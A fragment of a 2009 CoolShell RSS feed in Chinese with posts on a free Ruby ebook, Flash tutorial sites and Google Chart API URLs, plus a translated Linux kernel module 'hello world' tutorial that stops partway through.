alt=\"几篇技术文章\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3311.html\" class=\"wp_rp_title\">几篇技术文章</a></li><li ><a href=\"https://coolshell.cn/articles/878.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"一个C的序列化库tpl\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/878.html\" class=\"wp_rp_title\">一个C的序列化库tpl</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/595.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>免费电子书：Ruby Complete</title>\n\t\t<link>https://coolshell.cn/articles/591.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/591.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Apr 2009 15:14:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=591</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是一本免费的关于教你如何使用Ruby编程的电子书。作者：Huw Collingbourne， SapphireSteel Software 公司的Techno...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/591.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/591.html\">免费电子书：Ruby Complete</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这是一本免费的关于教你如何使用Ruby编程的电子书。作者：Huw Collingbourne， SapphireSteel Software 公司的Technology Directory，他也是一个开发 Visual Studio下的Ruby Steel IDE的程序员。这本书给大家提供非常全面的教程，其涵养了几乎所有主要的Ruby编程的东西。</p>\n<p>每一章的代码都可以被下载。如果你是一个 Ruby In Steel 的用户，那么，你可以在一个单一的Visual Studio solution 中载入这些代码，并可以在集成的 Ruby Console 上运行这些代码，并调试之。</p>\n<p><span id=\"more-591\"></span></p>\n<p>下面这是这本书的一些特性：</p>\n<ul>\n<li>425 页。</li>\n<li>20 章节。</li>\n<li>超过 84,000 个词。</li>\n<li>超过300 个可以运行的示例代码。</li>\n<li>100% 的免费!</li>\n</ul>\n<div class=\"chapo\"><!-- finde_surligneconditionnel--></div>\n<p><!--intro/deck--><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"book-of-ruby-complete\" src=\"http://www.sapphiresteel.com/IMG/png/book-of-ruby-complete.png\" alt=\"\" width=\"685\" height=\"587\" /></p>\n<p><a class=\"spip_in\" href=\"http://www.sapphiresteel.com/IMG/zip/book-of-ruby.zip\">下载这本书和其所有的源码</a> (<em>大小2.9MB </em>)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"API设计：用流畅接口构造内部DSL\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_title\">API设计：用流畅接口构造内部DSL</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/591.html\">免费电子书：Ruby Complete</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/591.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>5个不错的Flash的英文教程网</title>\n\t\t<link>https://coolshell.cn/articles/585.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/585.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Apr 2009 04:34:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[教程]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=585</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的这5个教程纯属个人观点，另外他们还都是免费的。 MrSunStudios&#8211; 这是一个非常不错的教程网站。里面有大量大量的关于ActionScr...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/585.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/585.html\">5个不错的Flash的英文教程网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面的这5个教程纯属个人观点，另外他们还都是免费的。</p>\n<li><strong><a href=\"http://mrsunstudios.com/\"><span style=\"color: #006699;\">MrSunStudios</span></a></strong>&#8211; 这是一个非常不错的教程网站。里面有大量大量的关于ActionScript，PHP等等的教程。能教会你做很多很实用的东西。</li>\n<li><strong><a href=\"http://awestyproductions.com/\"><span style=\"color: #006699;\">AwestyProductions</span></a></strong>&#8211; 虽然没怎么更新了，但他还是一个很不错的网站，其教你怎么去做一个小游戏。注意，其只是AS2的</li>\n<li><strong><a href=\"http://kirupa.com/\"><span style=\"color: #006699;\">Kirupa</span></a></strong>&#8211; 虽然没有太多的教程，不过这是一个巨大的社区，只要你问问题，你可以很快得得到他们的帮助和答案。当你遇到你无法解决的问题时，这是相当相当的不错的去处。</li>\n<li><strong><a href=\"http://flashexplained.com/\"><span style=\"color: #006699;\">Flash Explained</span></a></strong>&#8211; 超过9页的非常不错的教程。</li>\n<li><strong><a href=\"http://www.flashmagazine.com/Tutorials/index\"><span style=\"color: #006699;\">Flash Magazine</span></a><span class=\"Apple-style-span\" style=\"font-weight: normal;\">&#8211; 并不只是一个杂志，其还有很多教程，那才是这个网站最重要的。</span></strong></li>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3421.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/Liquid-150x150.jpg\" alt=\"流体力学的演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3421.html\" class=\"wp_rp_title\">流体力学的演示</a></li><li ><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" alt=\"游戏Flash vs HTML5\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_title\">游戏Flash vs HTML5</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2926.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg\" alt=\"你准备使用 HTML 5 吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2926.html\" class=\"wp_rp_title\">你准备使用 HTML 5 吗？</a></li><li ><a href=\"https://coolshell.cn/articles/2735.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"HTML5 和 Flash 之争\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2735.html\" class=\"wp_rp_title\">HTML5 和 Flash 之争</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/585.html\">5个不错的Flash的英文教程网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/585.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>使用Google API做统计图</title>\n\t\t<link>https://coolshell.cn/articles/582.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/582.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Apr 2009 04:09:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Chart]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=582</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Google提供了一个的统计图的API。你可以通过构造一个URL链接来获得Google提供的统计图方案。 比如：如果我们使用如下链接： &#60;img src=...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/582.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/582.html\">使用Google API做统计图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Google提供了一个的统计图的API。你可以通过构造一个URL链接来获得Google提供的统计图方案。</p>\n<p>比如：如果我们使用如下链接：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;img src=&quot;http://chart.apis.google.com/chart?cht=p3&amp;chd=t:60,40&amp;chs=250x100&amp;chl=酷壳|Cocre&quot; alt=&quot;&quot; /&gt;\n</pre>\n<p>我们就可能通过如下的HTML代码显示一个60:40的饼图：<br />\n<img decoding=\"async\" src=\"http://chart.apis.google.com/chart?cht=p3&amp;chd=t:60,40&amp;chs=250x100&amp;chl=酷壳|Cocre\" alt=\"\" /></p>\n<p>Google的这个API支持的统计图风格相当的多。</p>\n<p><span id=\"more-582\"></span></p>\n<p>比如：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;img src=&quot;http://chart.apis.google.com/chart?chs=200x125&amp;cht=ls&amp;chco=0077CC&amp;chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25&quot; alt=&quot;Sparkline chart in blue&quot; /&gt;\n</pre>\n<p><img decoding=\"async\" src=\"http://chart.apis.google.com/chart?chs=200x125&amp;cht=ls&amp;chco=0077CC&amp;chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25\" alt=\"Sparkline chart in blue\" /></p>\n<p>还甚至支持有世界地图式的统计图：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;img src=&quot;http://chart.apis.google.com/chart?cht=t&amp;chs=440x220&amp;chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&amp;chco=FFFFFF,FF0000,FFFF00,00FF00&amp;chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&amp;chtm=africa&amp;chf=bg,s,EAF7FE&quot; alt=&quot;Map of Africa&quot; /&gt;\n</pre>\n<p><img decoding=\"async\" src=\"http://chart.apis.google.com/chart?cht=t&amp;chs=440x220&amp;chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&amp;chco=FFFFFF,FF0000,FFFF00,00FF00&amp;chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&amp;chtm=africa&amp;chf=bg,s,EAF7FE\" alt=\"Map of Africa\" /></p>\n<p>更多的内容请到<a href=\"http://code.google.com/apis/chart/\">http://code.google.com/apis/chart/</a> 上查看吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/582.html\">使用Google API做统计图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/582.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux设备驱动Hello World程序介绍</title>\n\t\t<link>https://coolshell.cn/articles/566.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/566.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Fri, 17 Apr 2009 17:19:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Driver]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=566</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>by Valerie Henson 07/05/2007 (译者注：本文的例子是只能在linux的2.6内核下使用的，2.6以上的内核，译者没有做过实验，2.4...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/566.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/566.html\">Linux设备驱动Hello World程序介绍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>by Valerie Henson<br />\n07/05/2007</p>\n<p>(<strong>译者注：本文的例子是只能在linux的2.6内核下使用的，2.6以上的内核，译者没有做过实验，2.4是要修改make文件才能运行</strong>。)</p>\n<p>本文的出处：<a href=\"http://www.linuxdevcenter.com/pub/a/linux/2007/07/05/devhelloworld-a-simple-introduction-to-device-drivers-under-linux.html?page=1\">这里</a></p>\n<p>自古以来，学习一门新编程语言的第一步就是写一个打印“hello world”的程序（可以看<a href=\"https://coolshell.cn/articles/169.html\">《hello world 集中营》</a>这个帖子供罗列了300个“hello world”程序例子）在本文中，我们将用同样的方式学习如何编写一个简单的linux内核模块和设备驱动程序。我将学习到如何在内核模式下以三种不同的方式来打印hello world，这三种方式分别是： printk()，/proc文件，/dev下的设备文件。</p>\n<h4>准备：安装内核模块的编译环境</h4>\n<p>一个内核模块kernel module是一段能被内核动态加载和卸载的内核代码，因为内核模块程序是内核的一个部分，并且和内核紧密的交互，所以内核模块不可能脱离内核编译环境，至少，它需要内核的头文件和用于加载的配置信息。编译内核模块同样需要相关的开发工具，比如说编译器。为了简化，本文只简要讨论如何在Debian、Fedora和其他以.tar.gz形式提供的原版linux内核下进行核模块的编译。在这种情况下，你必须根据你正在运行内核相对应的内核源代码来编译你的内核模块kernel module(当你的内核模块一旦被装载到你内核中时，内核就将执行该模块的代码)</p>\n<p><span id=\"more-566\"></span></p>\n<p>必须要注意内核源代码的位置，权限：内核程序通常在/usr/src/linux目录下，并且属主是root。如今，推荐的方式是将内核程序放在一个非root用户的home目录下。本文中所有命令都运行在非root的用户下，只有在必要的时候，才使用sudo来获得临时的root权限。配置和使用sudo可以man sudo(8) visudo(8) 和sudoers(5)。或者切换到root用户下执行相关的命令。不管什么方式，你都需要root权限才能执行本文中的一些命令。</p>\n<p>在Debian下编译内核模块的准备</p>\n<p>使用如下的命令安装和配置用于在Debian编译内核模块的module-assitant包</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo apt-get install module-assistant\n</pre>\n<p>以此你就可以开始编译内核模块，你可以在<a href=\"http://kernel-handbook.alioth.debian.org/\">《Debian Linux Kernel Handbook》</a>这本书中找到对Debian内核相关任务的更深度的讨论。</p>\n<p>Fedora的kernel-devel包包含了你编译Fedora内核模块的所有必要内核头文件和工具。你可以通过如下命令得到这个包。</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sudo yum install kernel-devel</code></p>\n<p>有了这个包，你就可以编译你的内核模块kernel modules。关于Fedora编译内核模块的相关文档你可以从<a href=\"http://docs.fedoraproject.org/release-notes/fc6/en_US/sn-Kernel.html#id2950723\">Fedora release notes</a>中找到。</p>\n<p>一般Linux 内核源代码和配置</p>\n<p>(译者注，下面的编译很复杂，如果你的Linux不是上面的系统，你可以使用REHL AS4系统，这个系统的内核就是2.6的内核，并且可以通过安装直接安装内核编译支持环境，从而就省下了如下的步骤。而且下面的步骤比较复杂，建议在虚拟机安装Linux进行实验。)</p>\n<p>如果你选择使用一般的Linux内核源代吗，你必须，配置，编译，安装和重启的你编译内核。这个过程非常复杂，并且本文只会讨论使用一般内核源代码的基本概念。</p>\n<p>linux的著名的内核源代码在http://kernel.org上都可以找到。最近新发布的稳定版本的代码在首页上。下载全版本的源代码，不要下载补丁代码。例如，当前发布稳定版本在url: http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.5.tar.bz2上。如果需要更快速的下载，从htpp://kernel.org/mirrors上找到最近的镜像进行下载。最简单获得源代码的方式是以断点续传的方式使用wget。如今的http很少发生中断，但是如果你在下载过程中发生了中断，这个命令将帮助你继续下载剩下的部分。</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ wget -c  http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.5.tar.bz2 </code></p>\n<p>解包内核源代码</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ tar xjvf linux-&lt;version&gt;.tar.bz2</code></p>\n<p>现在你的内核源代码位于linux-/目录下。转到这个目录下，并配置它：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cd linux-&lt;version&gt;\n$ make menuconfig</pre>\n<p>一些非常易用的编译目标make targets提供了多种编译安装内核的形式：Debian 包，RPM包，gzip后的tar文件 等等，使用如下命令查看所有可以编译的目标形式</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ make help</code></p>\n<p>一个可以工作在任何linux的目标是：(译者注：REHL AS4上没有tar-pkg这个目标，你可以任选一个rpm编译，编译完后再上层目录可以看到有一个linux-.tar.gz可以使用)</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ make tar-pkg</code></p>\n<p>当编译完成后，可以调用如下命令安装你的内核</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sudo tar -C / -xvf linux-&lt;version&gt;.tar</code></p>\n<p>在标准位置建立的到内核源代码的链接</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sudo ln -s &lt;location of top-level source directory&gt; /lib/modules/&#039;uname -r&#039;/build</code></p>\n<p>现在已经内核源代码已经可以用于编译内核模块了，重启你的机器以使得你根据新内核程序编译的内核可以被装载。</p>\n<h4>使用printk()函数打印&#8221;Hello World&#8221;</h4>\n<p>我们的第一个内核模块，我们将以一个在内核中使用函数printk()打印&#8221;Hello world&#8221;的内核模块为开始。printk是内核中的printf函数。printk的输出打印在内核的消息缓存kernel message buffer并拷贝到/var/log/messages(关于拷贝的变化依赖于如何配置syslogd)</p>\n<p>下载<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_printk.tar.gz\">hello_printk</a> 模块的tar包 并解包：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ tar xzvf hello_printk.tar.gz</code></p>\n<p>这个包中包含两个文件:Makefile，里面包含如何创建内核模块的指令和一个包含内核模块源代码的hello_printk.c文件。首先，我们将简要的过一下这个Makefile 文件。</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">obj-m := hello_printk.o</code></p>\n<p>obj-m指出将要编译成的内核模块列表。.o格式文件会自动地有相应的.c文件生成(不需要显示的罗列所有源代码文件)</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nKDIR  := /lib/modules/$(shell uname -r)/build\n</pre>\n<p>KDIR表示是内核源代码的位置。在当前标准情况是链接到包含着正在使用内核对应源代码的目录树位置。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nPWD := $(shell pwd)\n</pre>\n<p>PWD指示了当前工作目录并且是我们自己内核模块的源代码位置</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ndefault:\n     $(MAKE) -C $(KDIR) M=$(PWD) modules\n</pre>\n<p>default是默认的编译连接目标；即，make将默认执行本条规则编译目标，除非程序员显示的指明编译其他目标。这里的的编译规则的意思是，在包含内核源代码位置的地方进行make,然后之编译$(PWD)(当前)目录下的modules。这里允许我们使用所有定义在内核源代码树下的所有规则来编译我们的内核模块。</p>\n<p>现在我们来看看hello_printk.c这个文件</p>\n<pre data-enlighter-language=\"c\" 